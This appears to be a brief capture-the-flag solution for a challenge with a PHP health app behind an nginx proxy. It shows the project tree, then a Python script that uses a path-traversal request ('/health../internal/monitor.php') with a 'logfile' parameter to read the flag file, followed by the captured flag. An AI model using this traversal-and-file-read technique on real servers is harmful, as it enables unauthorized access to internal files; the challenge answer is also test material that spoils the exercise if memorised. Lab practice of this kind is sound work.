config
├── health-app/
│ ├── external/
│ └── index.php
│ ├── flag/
│ └── flag.txt
│ ├── internal/
│ ├── index.php
│ └── monitor.php
│ └── Dockerfile
└── nginx-proxy/
├── Dockerfile
└── nginx.conf
sudo apt install python3-pip
python3 -m pip install requests
from requests import post
host = '127.0.0.1'
port = '8001'
payload = {
'logfile': '/flag/flag.txt'
}
flag = post(f'http://{host}:{port}/health../internal/monitor.php', data = payload).text
print(flag)
TCC{n91NX_rpR0xY_M15C0nF19Ur4t10n}<br>